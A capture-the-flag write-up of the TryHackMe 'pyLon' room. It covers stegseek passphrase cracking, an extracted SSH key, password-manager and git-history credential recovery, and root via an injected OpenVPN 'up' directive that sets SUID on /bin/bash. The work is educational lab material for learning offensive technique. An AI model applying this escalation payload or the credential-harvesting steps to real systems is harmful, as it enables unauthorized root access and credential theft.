pyLon | Jan 10, 2023
Introduction
Welcome to my another writeup! In this TryHackMe pyLon room, you’ll learn: Steganography, abusing OpenVPN config file and more! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★★★★★☆☆☆☆☆
Table of Content
- Service Enumeration
- Initial Foothold
- Privilege Escalation: lone to pood
- Privilege Escalation: pood to root
- Conclusion
Background
Can you penetrate the defenses and become root?
Difficulty: Medium
After rummaging through a colleages drawer during a security audit, you find a USB key with an interesting file, you think its hiding something, use the data on the key to penetrate his workstation, and become root.
This room contains steganography and may be difficult. If you are finding it difficult to overcome, read the hint for flag 1.
Being able to analyse a file and determine its contents is important. Once you extract the hidden file in the image, there will be further work to do.
Remember, password reuse is bad practice.
Task 1 - Recon
In this task, we can download a file:
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# file pepper.jpg
pepper.jpg: JPEG image data, baseline, precision 8, 2551x1913, components 3
It’s an image file.
Let’s open it:
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# eog pepper.jpg
A dog.
Let’s try to use steghide
to extract hidden stuff inside it:
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# steghide extract -sf pepper.jpg
Enter passphrase:
steghide: could not extract any data with that passphrase!
Hmm… Let’s use stegseek
to crack the passphrase:
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# stegseek --crack pepper.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "{Redacted}"
[i] Original filename: "lone".
[i] Extracting to "pepper.jpg.out".
Nice!
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# mv pepper.jpg.out lone
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# cat lone
H4sIAAAAAAAAA+3Vya6zyBUA4H/NU9w9ilxMBha9KObZDMY2bCIGG2MmMw9P39c3idRZtJJNK4rE
J6FT0imkoupQp2zq+9/z9NdfCXyjafoTMZoCf4wfBEnQvzASAJKkAX7EfgEMo2jw6wv8pav6p7Ef
ou7r69e7aVKQ/fm8/5T/P/W3D06UVevrZIuW5ylftqte4Fn80sXgJ4vEBFfGtbVFPNaFt2JIXyL8
4GRqiiv/MxTjih1DB/4L93mk+TNMtwTPhqRGrOdPav5++TPRESFJ1ZenOJwJutdri7sq+CXob/EL
[...]
No idea what it is.
I also wanna use exiftool
to view the metadata of the image file:
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# exiftool pepper.jpg
ExifTool Version Number : 12.52
File Name : pepper.jpg
Directory : .
File Size : 390 kB
File Modification Date/Time : 2023:01:10 01:25:33-05:00
File Access Date/Time : 2023:01:10 01:26:28-05:00
File Inode Change Date/Time : 2023:01:10 01:26:24-05:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
XMP Toolkit : Image::ExifTool 12.16
Subject : https://gchq.github.io/CyberChef/#recipe=To_Hex('None',0)To_Base85('!-u',false)
Image Width : 2551
Image Height : 1913
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 2551x1913
Megapixels : 4.9
The Subject
is interesting: https://gchq.github.io/CyberChef/#recipe=To_Hex('None',0)To_Base85('!-u',false)
It’s referring to CyberChef, and the recipe is To Hex -> To Base85:
Let’s decode the pepper.jpg.out
with that recipe:
Hmm…
We can also try to base64 decode that:
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# base64 -d lone > lone_decoded
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# file lone_decoded
lone_decoded: gzip compressed data, from Unix, original size modulo 2^32 10240
Oh! It’s a gzip
file!
Let’s decompress it:
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# mv lone_decoded lone_decoded.gz
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# gunzip lone_decoded.gz
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# file lone_decoded
lone_decoded: POSIX tar archive (GNU)
Now it’s a tar
archive file. We can use tar
to extract it:
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# tar -xf lone_decoded
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# cat lone_id
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
{Redacted}
43kcLdLe8Jv/ETfTAAAAC3B5bG9uQHB5bG9uAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
Found a SSH private key!
We need to change the file permission to only allow our current user: (This is how private SSH key works.)
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# chmod 600 lone_id
Task 2 - pyLon
You extracted some files, and now you will attempt to penetrate the system.
Service Enumeration
As usual, scan the machine for open ports via rustscan
!
Rustscan:
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# export RHOSTS=10.10.71.253
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# rustscan --ulimit 5000 -b 4500 -t 2000 --range 1-65535 $RHOSTS -- -sC -sV -oN rustscan/rustscan.txt
[...]
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 129fae2df8af04bc8d6e2d5566a8b755 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC48TQ2bNsfSzCnjiLLFrhPxsQFtcf4tlGCuD9FFnqSRngeiwGx5OYXmVpTmZ3oQBlg09xQZHhOx0HG1w9wQTeGNfrJ3HbI7Ne4gzCXeNacwNrPwa9kQ4Jhe90rXUGbsnjwrSTXSe/j2vEIDOPo+nlP7HJZBMvzPR8YohRxpn/zmA+1/yldVDueib64A3bwaKZ/bjFs8PvY4kRCwaFF3j0vhHT5bteQWqllpJXOYMe/kXiHa8pZoSamp+fNQm7lxIpXZhcw13cXWauVftAMloIfuOJQnOxmexbCbC0D0LTj/W1KdYIXcw9+4HdNn+R0wFFgOWfL49ImnGeZvIz+/KV7
| 256 ce65ebce9f3f57166a79459dd3d2ebf2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAngdr5IauC530BNjl20lrHWKkcbrDv4sx0cCN3LDhz01JHzSrlxO4+4JizUGzK/nY/RUY1w5iyv9w9cp4cayVc=
| 256 6c3ba7023fa9cd83f2b9466cd0d6e6ec (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIxQ6Fpj73z02s4gj/3thP3O1xXMmVp60yt1Ff7wObmh
222/tcp open ssh syn-ack ttl 62 OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey:
| 3072 39e1e40eb5408ab9e0ded06e7882e828 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCWmYY++QRFaOM4hlW77VN6PvZcLVj1gqoBUnqRt3WbbrYUzwe9nBU4YdM6LN1d57KrNuzZyrvjS2+9V9Wz7AtsiBGz+7rOMejT4A3hz6GdMUZwAZ7jhDEqqYV/BDP+xcadiLuHWnYFyeSy1xLhVRtZsnU8bXCg9+meHv6PBMq6+TFK5zkmYXBshEyj8LpH9MRGXlwHREkbAcllAr0gNRTrJpwI4/r/O//V6TIA1wyLoDZtYQABVsVoGd9R0vu++HLrNI9+NBi7BVyUvOSkQmsoFNAkMslZv9S7TOG/VQQOrJMjRY/EGPu6JwLHmpd+Kf3q6cOrCjfQOXRo+UaD/E0cfNClCXlJPAa3t8SzqYBK7ebkCwF7fifuOH7vIGgioN9jJNYzcB1hlLcfuBhv69qpe99DL7C4Qqk0ftv9TQgx945JhQiq2LH90eYDUGXmVu0wKLu4mfMfLSUYYgXEZGNkqIW/IM13wagN1FHZBNMsyR1/f/O9igD/qEt0KT70Zfs=
| 256 c6f64821fd076677fcca3d83f5ca1ba3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBC9mDTxaeB3QKOzrGC5WK4WId+ZzFhUAgFK5ONKQ7I2Ya+FmBk/R4Uqjq3Epc0Xv31gi6r3k8ytRBYFMmq3L66g=
| 256 17a25bae4e4420fb28586b56343a14b3 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICwLlQimfX4lrWWdFenHEWZgUWVWRQj1Mt0L4IBeeTnJ
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
According to rustscan
result, we have 2 ports are opened:
Open Ports | Service |
---|---|
22 | OpenSSH 7.6p1 Ubuntu |
222 | OpenSSH 8.4 |
SSH on Port 22
Since we have user lone
’s private SSH key, we can try to SSH into user lone
:
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# ssh -i lone_id lone@$RHOSTS
The authenticity of host '10.10.71.253 (10.10.71.253)' can't be established.
ED25519 key fingerprint is SHA256:a4J2LwSwZl59RFhvrfKuRiFGA2RDy+i9GN/nNgd2b44.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.71.253' (ED25519) to the list of known hosts.
lone@10.10.71.253's password:
Permission denied, please try again.
Not this port.
SSH on Port 222
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# ssh -i lone_id lone@$RHOSTS -p 222
[...]
/
__ / __ __
/ ) / / / / ) / )
/___/ (___/ /____/ (___/ / /
/ /
/ (_ / pyLon Password Manager
by LeonM
[*] Encryption key exists in database.
Enter your encryption key:
Encryption key? Maybe that’s the passphrase that we’ve cracked in stegseek
?
[!] Invalid encryption key.
Try again?
(Y)es or (N)o:
Nope.
Initial Foothold
Cool. Let’s take a step back.
We’ve found the pepper.jpg
passphrase, and a CyberChef link.
Maybe we need to encode that passphrase?
Enter your encryption key:
[*] Encryption key correct.
[*] Initialization complete.
/
__ / __ __
/ ) / / / / ) / )
/___/ (___/ /____/ (___/ / /
/ /
/ (_ / pyLon Password Manager
by LeonM
[1] Decrypt a password.
[2] Create new password.
[3] Delete a password.
[4] Search passwords.
Select an option [Q] to Quit:
Nice!
In here, we can:
- Decrypt a password
- Create new password
- Delete a password
- Search passwords
Let’s try to decrypt a password:
Select an option [Q] to Quit: 1
SITE USERNAME
[1] pylon.thm lone
[2] FLAG 1 FLAG 1
Select a password [C] to cancel:
Now, we can decrypt 2 passwords. Let’s decrypt them:
Select a password [C] to cancel: 1
Password for pylon.thm
Username = lone
Password = {Redacted}
Press ENTER to continue.
Select a password [C] to cancel: 2
Password for FLAG 1
Username = FLAG 1
Password = THM{Redacted}
Press ENTER to continue.
Nice! We found flag 1 and lone
’s password!
We now can try to SSH into port 22:
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# ssh lone@$RHOSTS
lone@10.10.71.253's password:
Welcome to
/
__ / __ __
/ ) / / / / ) / )
/___/ (___/ /____/ (___/ / /
/ /
/ (_ / by LeonM
Last login: Tue Jan 10 07:03:50 2023 from 10.9.0.253
lone@pylon:~$ whoami;hostname;id;ip a
lone
pylon
uid=1002(lone) gid=1002(lone) groups=1002(lone)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
link/ether 02:0a:a3:c6:24:7f brd ff:ff:ff:ff:ff:ff
inet 10.10.71.253/16 brd 10.10.255.255 scope global dynamic eth0
valid_lft 3152sec preferred_lft 3152sec
inet6 fe80::a:a3ff:fec6:247f/64 scope link
valid_lft forever preferred_lft forever
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 100
link/none
inet 172.31.12.1 peer 172.31.12.2/32 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::bd2:40fa:2a1d:59fd/64 scope link stable-privacy
valid_lft forever preferred_lft forever
4: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:5e:36:3a:e4 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
inet6 fe80::42:5eff:fe36:3ae4/64 scope link
valid_lft forever preferred_lft forever
6: veth09d453b@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
link/ether e6:83:64:8f:88:c0 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::e483:64ff:fe8f:88c0/64 scope link
valid_lft forever preferred_lft forever
I’m user lone
!
user1.txt:
lone@pylon:~$ cat /home/lone/user1.txt
TMM{Redacted}
Privilege Escalation
lone to pood
Let’s do some basic enumerations!
System users:
lone@pylon:~$ cat /etc/passwd | grep '/bin/bash'
root:x:0:0:root:/root:/bin/bash
pylon:x:1000:1000:pylon:/home/pylon:/bin/bash
pood:x:1001:1001:poo D,,,:/home/pood:/bin/bash
lone:x:1002:1002:lon E,,,:/home/lone:/bin/bash
lone@pylon:~$ ls -lah /home
total 20K
drwxr-xr-x 5 root root 4.0K Jan 30 2021 .
drwxr-xr-x 24 root root 4.0K Mar 30 2021 ..
drwxr-x--- 6 lone lone 4.0K Jan 30 2021 lone
drwxr-x--- 5 pood pood 4.0K Jan 30 2021 pood
drwxr-x--- 5 pylon pylon 4.0K Mar 30 2021 pylon
- Found system user:
lone
,pood
,pylon
Sudo permission:
lone@pylon:~$ sudo -l
[sudo] password for lone:
Matching Defaults entries for lone on pylon:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User lone may run the following commands on pylon:
(root) /usr/sbin/openvpn /opt/openvpn/client.ovpn
User lone
can run /usr/sbin/openvpn /opt/openvpn/client.ovpn
as root.
Kernel version:
lone@pylon:~$ uname -a;cat /etc/issue
Linux pylon 4.15.0-140-generic #144-Ubuntu SMP Fri Mar 19 14:12:35 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
Ubuntu 18.04.5 LTS \n \l
User lone
home directory:
lone@pylon:~$ ls -lah
total 48K
drwxr-x--- 6 lone lone 4.0K Jan 30 2021 .
drwxr-xr-x 5 root root 4.0K Jan 30 2021 ..
lrwxrwxrwx 1 lone lone 9 Jan 30 2021 .bash_history -> /dev/null
-rw-r--r-- 1 lone lone 220 Jan 30 2021 .bash_logout
-rw-r--r-- 1 lone lone 3.7K Jan 30 2021 .bashrc
drwx------ 2 lone lone 4.0K Jan 30 2021 .cache
-rw-rw-r-- 1 lone lone 44 Jan 30 2021 .gitconfig
drwx------ 4 lone lone 4.0K Jan 30 2021 .gnupg
drwxrwxr-x 3 lone lone 4.0K Jan 30 2021 .local
-rw-r--r-- 1 lone lone 807 Jan 30 2021 .profile
-rw-rw-r-- 1 pood pood 600 Jan 30 2021 note_from_pood.gpg
drwxr-xr-x 3 lone lone 4.0K Jan 30 2021 pylon
-rw-r--r-- 1 lone lone 18 Jan 30 2021 user1.txt
.gitconfig
:
lone@pylon:~$ cat .gitconfig
[user]
email = lone@pylon.thm
name = lone
note_from_pood.gpg
:
lone@pylon:~$ file note_from_pood.gpg
note_from_pood.gpg: PGP RSA encrypted session key - keyid: A7A53FD8 57FE0F16 RSA (Encrypt or Sign) 3072b .
An encrypted GPG file.
pylon/
:
lone@pylon:~$ ls -lah pylon/
total 40K
drwxr-xr-x 3 lone lone 4.0K Jan 30 2021 .
drwxr-x--- 6 lone lone 4.0K Jan 30 2021 ..
drwxrwxr-x 8 lone lone 4.0K Jan 30 2021 .git
-rw-rw-r-- 1 lone lone 793 Jan 30 2021 README.txt
-rw-rw-r-- 1 lone lone 340 Jan 30 2021 banner.b64
-rwxrwxr-x 1 lone lone 8.3K Jan 30 2021 pyLon.py
-rw-rw-r-- 1 lone lone 2.2K Jan 30 2021 pyLon_crypt.py
-rw-rw-r-- 1 lone lone 3.9K Jan 30 2021 pyLon_db.py
Let’s view it’s git
commit logs!
lone@pylon:~$ cd pylon/
lone@pylon:~/pylon$ git log
commit 73ba9ed2eec34a1626940f57c9a3145f5bdfd452 (HEAD, master)
Author: lone <lone@pylon.thm>
Date: Sat Jan 30 02:55:46 2021 +0000
actual release! whoops
commit 64d8bbfd991127aa8884c15184356a1d7b0b4d1a
Author: lone <lone@pylon.thm>
Date: Sat Jan 30 02:54:00 2021 +0000
Release version!
commit cfc14d599b9b3cf24f909f66b5123ee0bbccc8da
Author: lone <lone@pylon.thm>
Date: Sat Jan 30 02:47:00 2021 +0000
Initial commit!
Let’s checkout
the first commit:
lone@pylon:~/pylon$ git checkout cfc14d599b9b3cf24f909f66b5123ee0bbccc8da
Previous HEAD position was 73ba9ed actual release! whoops
HEAD is now at cfc14d5 Initial commit!
lone@pylon:~/pylon$ ls -lah
total 52K
drwxr-xr-x 3 lone lone 4.0K Jan 10 07:24 .
drwxr-x--- 6 lone lone 4.0K Jan 30 2021 ..
drwxrwxr-x 8 lone lone 4.0K Jan 10 07:24 .git
-rw-rw-r-- 1 lone lone 793 Jan 30 2021 README.txt
-rw-rw-r-- 1 lone lone 340 Jan 30 2021 banner.b64
-rw-rw-r-- 1 lone lone 12K Jan 10 07:24 pyLon.db
-rw-rw-r-- 1 lone lone 2.5K Jan 10 07:24 pyLon_crypt.py
-rw-rw-r-- 1 lone lone 3.9K Jan 30 2021 pyLon_db.py
-rw-rw-r-- 1 lone lone 11K Jan 10 07:24 pyLon_pwMan.py
lone@pylon:~/pylon$ file pyLon.db
pyLon.db: SQLite 3.x database, last written using SQLite version 3022000
We now found a SQLite database file!
Let’s transfer that file to our attacker machine:
lone@pylon:~/pylon$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# wget http://$RHOSTS:8000/pyLon.db
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# sqlite3 pyLon.db
[...]
sqlite> .tables
pwCheck pwMan
sqlite> SELECT * FROM pwMan;
pylon.thm_gpg_key|lone_gpg_key|{Redacted}
sqlite> SELECT * FROM pwCheck;
{Redacted}
The pwCheck
table has a hashed value:
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# hash-identifier '{Redacted}'
[...]
Possible Hashs:
[+] SHA-512
[+] Whirlpool
Least Possible Hashs:
[+] SHA-512(HMAC)
[+] Whirlpool(HMAC)
It’s a SHA-512 hash! Let’s crack it via john
:
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# echo '{Redacted}' > hash.txt
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA512 hash.txt
[...]
Session completed.
Nope.
Let’s take a step back.
We can also try to run pyLon_pwMan.py
:
lone@pylon:~/pylon$ python3 pyLon_pwMan.py
/
__ / __ __
/ ) / / / / ) / )
/___/ (___/ /____/ (___/ / /
/ /
/ (_ / pyLon Password Manager
by LeonM
[*] Encryption key exists in database.
Enter your encryption key:
Again, the encryption key should be the same:
Enter your encryption key:
[*] Encryption key correct.
[*] Initialization complete.
[1] List passwords.
[2] Decrypt a password.
[3] Create new password.
[4] Delete a password.
[5] Search passwords.
[6] Display help menu
Select an option [Q] to Quit:
This time however, we can see an extra option:
Select an option [Q] to Quit: 6
[1] This item lists all the passwords in the Database.
[2] This item lets you choose a password to display.
[3] This item lets you create a new password.
[4] This item lets you delete unwanted passwords.
[5] This item lets you search the username and site fields.
[6] This item displays this detailed help menu.
Press ENTER to continue.
Nice. Let’s choose a password to display:
Select an option [Q] to Quit: 2
SITE USERNAME
[1] pylon.thm_gpg_key lone_gpg_key
Select a password [C] to cancel: 1
Password for pylon.thm_gpg_key
Username = lone_gpg_key
Password = {Redacted}
[*] Install xclip to copy to clipboard.
[*] sudo apt install xclip
[*] Password copied to the clipboard.
Press ENTER to continue.
Found the GPG key passphrase!
Armed with above information, we can try to decrypt the encrypted GPG file:
lone@pylon:~/pylon$ cd ..
lone@pylon:~$ ls -lah
[...]
-rw-rw-r-- 1 pood pood 600 Jan 30 2021 note_from_pood.gpg
[...]
lone@pylon:~$ gpg -d note_from_pood.gpg
┌────────────────────────────────────────────────────────────────┐
│ Please enter the passphrase to unlock the OpenPGP secret key: │
│ "lon E <lone@pylon.thm>" │
│ 3072-bit RSA key, ID D83FA5A7160FFE57, │
│ created 2021-01-27 (main key ID EA097FFFA0996DAA). │
│ │
│ │
│ Passphrase: ****************__________________________________ │
│ │
│ <OK> <Cancel> │
└────────────────────────────────────────────────────────────────┘
lone@pylon:~$ gpg -d note_from_pood.gpg
gpg: encrypted with 3072-bit RSA key, ID D83FA5A7160FFE57, created 2021-01-27
"lon E <lone@pylon.thm>"
Hi Lone,
Can you please fix the openvpn config?
It's not behaving itself again.
oh, by the way, my password is {Redacted}
Thanks again.
Found new password!
Also, user lone
can run /usr/sbin/openvpn /opt/openvpn/client.ovpn
as root via sudo
. Maybe we can do something weird to the openvpn config file?
Anyway, let’s Switch User to pood
:
lone@pylon:~$ su pood
Password:
pood@pylon:/home/lone$ whoami;hostname;id;ip a
pood
pylon
uid=1001(pood) gid=1001(pood) groups=1001(pood)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
link/ether 02:0a:a3:c6:24:7f brd ff:ff:ff:ff:ff:ff
inet 10.10.71.253/16 brd 10.10.255.255 scope global dynamic eth0
valid_lft 2928sec preferred_lft 2928sec
inet6 fe80::a:a3ff:fec6:247f/64 scope link
valid_lft forever preferred_lft forever
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 100
link/none
inet 172.31.12.1 peer 172.31.12.2/32 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::bd2:40fa:2a1d:59fd/64 scope link stable-privacy
valid_lft forever preferred_lft forever
4: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:5e:36:3a:e4 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
inet6 fe80::42:5eff:fe36:3ae4/64 scope link
valid_lft forever preferred_lft forever
6: veth09d453b@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
link/ether e6:83:64:8f:88:c0 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::e483:64ff:fe8f:88c0/64 scope link
valid_lft forever preferred_lft forever
I’m user pood
!
user2.txt:
pood@pylon:/home/lone$ cat /home/pood/user2.txt
THM{Redacted}
pood to root
Sudo permission:
pood@pylon:/home/lone$ sudo -l
[sudo] password for pood:
Matching Defaults entries for pood on pylon:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pood may run the following commands on pylon:
(root) sudoedit /opt/openvpn/client.ovpn
As you can see, user pood
can run sudoedit /opt/openvpn/client.ovpn
as root!
By combining user lone
and pood
’s sudo permission, we can escalate to root!
But first, let’s view the config file:
pood@pylon:/home/lone$ sudoedit /opt/openvpn/client.ovpn
client
dev tun
proto udp
remote 127.0.0.1 1194
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
cipher AES-256-CBC
<ca>
-----BEGIN CERTIFICATE-----
[...]
As you can see, the config file is connecting to localhost on port 1194.
Now, according to a Medium post that I’ve found, we can escalate to root by modifying the config file:
Let’s modify the config file!
pood@pylon:/home/lone$ sudoedit /opt/openvpn/client.ovpn
client
dev tun
script-security 2
up "/bin/chmod +s /bin/bash"
proto udp
[...]
In here, the script-security 2
is to enable user-defined scripts. Then, the up
command will execute any binary of script you point it to. In this case, we’re using /bin/chmod
to add a SUID sticky bit to /bin/bash
, so we can spawn a root Bash shell.
Let’s save it, and run openvpn
in user lone
:
lone@pylon:~$ sudo /usr/sbin/openvpn /opt/openvpn/client.ovpn
Tue Jan 10 07:46:34 2023 OpenVPN 2.4.4 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on May 14 2019
Tue Jan 10 07:46:34 2023 library versions: OpenSSL 1.1.1 11 Sep 2018, LZO 2.08
Tue Jan 10 07:46:34 2023 NOTE: the current --script-security setting may allow this configuration to call user-defined scripts
Tue Jan 10 07:46:34 2023 TCP/UDP: Preserving recently used remote address: [AF_INET]127.0.0.1:1194
Tue Jan 10 07:46:34 2023 UDP link local: (not bound)
Tue Jan 10 07:46:34 2023 UDP link remote: [AF_INET]127.0.0.1:1194
Tue Jan 10 07:46:34 2023 [server] Peer Connection Initiated with [AF_INET]127.0.0.1:1194
Tue Jan 10 07:46:35 2023 TUN/TAP device tun1 opened
Tue Jan 10 07:46:35 2023 do_ifconfig, tt->did_ifconfig_ipv6_setup=0
Tue Jan 10 07:46:35 2023 /sbin/ip link set dev tun1 up mtu 1500
Tue Jan 10 07:46:35 2023 /sbin/ip addr add dev tun1 local 172.31.12.6 peer 172.31.12.5
Tue Jan 10 07:46:35 2023 /bin/chmod +s /bin/bash tun1 1500 1552 172.31.12.6 172.31.12.5 init
/bin/chmod: cannot access 'tun1': No such file or directory
/bin/chmod: cannot access '1500': No such file or directory
/bin/chmod: cannot access '1552': No such file or directory
/bin/chmod: cannot access '172.31.12.6': No such file or directory
/bin/chmod: cannot access '172.31.12.5': No such file or directory
/bin/chmod: cannot access 'init': No such file or directory
Tue Jan 10 07:46:35 2023 WARNING: Failed running command (--up/--down): external program exited with error status: 1
Tue Jan 10 07:46:35 2023 Exiting due to fatal error
Check the payload worked or not:
lone@pylon:~$ ls -lah /bin/bash
-rwsr-sr-x 1 root root 1.1M Jun 6 2019 /bin/bash
It worked! Let’s spawn a root Bash shell:
lone@pylon:~$ /bin/bash -p
bash-4.4# whoami;hostname;id;ip a
root
pylon
uid=1002(lone) gid=1002(lone) euid=0(root) egid=0(root) groups=0(root),1002(lone)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
link/ether 02:0a:a3:c6:24:7f brd ff:ff:ff:ff:ff:ff
inet 10.10.71.253/16 brd 10.10.255.255 scope global dynamic eth0
valid_lft 2123sec preferred_lft 2123sec
inet6 fe80::a:a3ff:fec6:247f/64 scope link
valid_lft forever preferred_lft forever
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 100
link/none
inet 172.31.12.1 peer 172.31.12.2/32 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::bd2:40fa:2a1d:59fd/64 scope link stable-privacy
valid_lft forever preferred_lft forever
4: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:5e:36:3a:e4 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
inet6 fe80::42:5eff:fe36:3ae4/64 scope link
valid_lft forever preferred_lft forever
6: veth09d453b@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
link/ether e6:83:64:8f:88:c0 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::e483:64ff:fe8f:88c0/64 scope link
valid_lft forever preferred_lft forever
I’m root! :D
Rooted
In the /root
directory, we see a root.txt
file, which is encrypted by GPG:
bash-4.4# ls -lah /root
total 36K
drwx------ 5 root root 4.0K Jan 30 2021 .
drwxr-xr-x 24 root root 4.0K Mar 30 2021 ..
lrwxrwxrwx 1 root root 9 Jan 30 2021 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3.1K Apr 9 2018 .bashrc
drwx------ 4 root root 4.0K Jan 30 2021 .gnupg
drwxr-xr-x 3 root root 4.0K Jan 30 2021 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwxr-xr-x 2 root root 4.0K Jan 30 2021 .vim
-rw------- 1 root root 757 Jan 30 2021 .viminfo
-rw-r--r-- 1 root root 492 Jan 27 2021 root.txt.gpg
Let’s try to decrypt it:
bash-4.4# gpg -d root.txt.gpg
gpg: can't open 'root.txt.gpg': Permission denied
